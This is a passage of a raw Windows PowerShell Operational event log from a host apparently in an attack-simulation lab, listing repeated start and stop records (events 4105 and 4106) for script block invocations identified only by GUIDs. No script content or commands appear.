Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038386
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038385
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038384
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038383
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038382
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038381
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038380
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038379
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038378
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038377
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038376
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038375
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038374
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038373
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038372
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038371
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038370
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038369
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038368
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038367
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038366
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038365
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038364
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038363
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038362
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038361
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038360
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038359
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038358
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038357
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038356
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038355
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038354
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038353
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038352
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038351
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038350
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038349
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038348
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038347
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038346
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038345
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038344
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038343
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038342
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038341
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038340
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038339
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038338
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038337
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038336
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038335
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038334
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
